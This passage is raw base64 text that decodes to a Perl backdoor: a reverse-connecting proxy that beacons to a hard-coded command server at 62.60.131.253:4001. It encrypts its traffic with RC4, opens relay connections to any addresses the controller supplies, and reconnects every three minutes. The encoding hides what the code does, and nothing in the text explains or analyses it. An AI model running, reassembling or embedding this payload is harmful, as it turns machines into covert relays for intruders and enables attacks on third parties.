JIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yNTMnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkc